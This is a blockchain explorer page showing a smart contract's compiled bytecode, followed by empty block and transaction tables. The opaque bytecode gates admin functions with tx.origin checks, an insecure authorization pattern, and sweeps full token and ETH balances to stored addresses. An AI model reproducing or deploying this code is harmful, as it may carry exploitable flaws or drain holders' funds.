fffffffffffffffffffffffffffffffffff838183161783525050505090505f6040518061010001604052805f73ffffffffffffffffffffffffffffffffffffffff16815260200160075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200160035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001815260200161271061ffff16815260200160405180602001604052805f815250815260200160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525090505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663258c16ee85855f67ffffffffffffffff81111561096157610960611602565b5b6040519080825280601f01601f1916602001820160405280156109935781602001600182028036833780820191505090505b50855f6040518663ffffffff1660e01b81526004016109b69594939291906117b6565b5f604051808303815f87803b1580156109cd575f5ffd5b505af11580156109df573d5f5f3e3d5ffd5b50505050505050505050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a9657508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc906111f6565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166315dacbea835f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff166370a082315f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401610baf919061143a565b602060405180830381865afa158015610bca573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bee919061147d565b6040518563ffffffff1660e01b8152600401610c0d9493929190611815565b6020604051808303815f875af1158015610c29573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4d9190611882565b5060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f195f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610cba9190611379565b6064610cc691906113c3565b6040518363ffffffff1660e01b8152600401610ce3929190611413565b5f604051808303815f87803b158015610cfa575f5ffd5b505af1158015610d0c573d5f5f3e3d5ffd5b505050505050565b5f5f915091565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610dc657508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc906111f6565b60405180910390fd5b5050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610eb457508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea906111f6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fbe575f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051610f6c906118da565b5f6040518083038185875af1925050503d805f8114610fa6576040519150601f19603f3d011682016040523d82523d5f602084013e610fab565b606091505b5050905080610fb8575f5ffd5b506110bf565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611035919061143a565b602060405180830381865afa158015611050573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611074919061147d565b6040518363ffffffff1660e01b8152600401611091929190611413565b5f604051808303815f87803b1580156110a8575f5ffd5b505af11580156110ba573d5f5f3e3d5ffd5b505050505b5050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110f0826110c7565b9050919050565b611100816110e6565b811461110a575f5ffd5b50565b5f8135905061111b816110f7565b92915050565b5f60208284031215611136576111356110c3565b5b5f6111438482850161110d565b91505092915050565b5f8115159050919050565b6111608161114c565b82525050565b61116f816110e6565b82525050565b5f6040820190506111885f830185611157565b6111956020830184611166565b9392505050565b5f82825260208201905092915050565b7f4f4e4c59204433204f52204f574e0000000000000000000000000000000000005f82015250565b5f6111e0600e8361119c565b91506111eb826111ac565b602082019050919050565b5f6020820190508181035f83015261120d816111d4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156112965780860481111561127257611271611214565b5b60018516156112815780820291505b808102905061128f85611241565b9450611256565b94509492505050565b5f826112ae5760019050611369565b816112bb575f9050611369565b81600181146112d157600281146112db5761130a565b6001915050611369565b60ff8411156112ed576112ec611214565b5b8360020a91508482111561130457611303611214565b5b50611369565b5060208310610133831016604e8410600b841016171561133f5782820a90508381111561133a57611339611214565b5b611369565b61134c848484600161124d565b9250905081840481111561136357611362611214565b5b81810290505b9392505050565b5f819050919050565b5f61138382611370565b915061138e83611370565b92506113bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461129f565b905092915050565b5f6113cd82611370565b91506113d883611370565b92508282026113e681611370565b915082820484148315176113fd576113fc611214565b5b5092915050565b61140d81611370565b82525050565b5f6040820190506114265f830185611166565b6114336020830184611404565b9392505050565b5f60208201905061144d5f830184611166565b92915050565b61145c81611370565b8114611466575f5ffd5b50565b5f8151905061147781611453565b92915050565b5f60208284031215611492576114916110c3565b5b5f61149f84828501611469565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6114df82611370565b91506114ea83611370565b9250826114fa576114f96114a8565b5b828204905092915050565b5f6060820190506115185f830186611166565b6115256020830185611166565b6115326040830184611404565b949350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61157c8261153a565b6115868185611544565b9350611596818560208601611554565b61159f81611562565b840191505092915050565b5f60a0820190506115bd5f830188611166565b6115ca6020830187611166565b6115d76040830186611404565b6115e46060830185611166565b81810360808301526115f68184611572565b90509695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611638816110e6565b82525050565b5f82825260208201905092915050565b5f6116588261153a565b611662818561163e565b9350611672818560208601611554565b61167b81611562565b840191505092915050565b61168f81611370565b82525050565b5f61ffff82169050919050565b6116ab81611695565b82525050565b5f61010083015f8301516116c75f86018261162f565b5060208301516116da602086018261162f565b50604083015184820360408601526116f2828261164e565b9150506060830151611707606086018261162f565b50608083015161171a6080860182611686565b5060a083015161172d60a08601826116a2565b5060c083015184820360c0860152611745828261164e565b91505060e083015161175a60e086018261162f565b508091505092915050565b5f819050919050565b5f63ffffffff82169050919050565b5f819050919050565b5f6117a061179b61179684611765565b61177d565b61176e565b9050919050565b6117b081611786565b82525050565b5f60a0820190506117c95f830188611166565b6117d66020830187611404565b81810360408301526117e88186611572565b905081810360608301526117fc81856116b1565b905061180b60808301846117a7565b9695505050505050565b5f6080820190506118285f830187611166565b6118356020830186611166565b6118426040830185611166565b61184f6060830184611404565b95945050505050565b6118618161114c565b811461186b575f5ffd5b50565b5f8151905061187c81611858565b92915050565b5f60208284031215611897576118966110c3565b5b5f6118a48482850161186e565b91505092915050565b5f81905092915050565b50565b5f6118c55f836118ad565b91506118d0826118b7565b5f82019050919050565b5f6118e4826118ba565b915081905091905056fea2646970667358221220813e89dc327aa988ac96ac21f6237872d4ba171fee5e67893cb61e349e76de1964736f6c634300081f0033

Block Transaction Gas Used Reward
view all blocks sequenced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.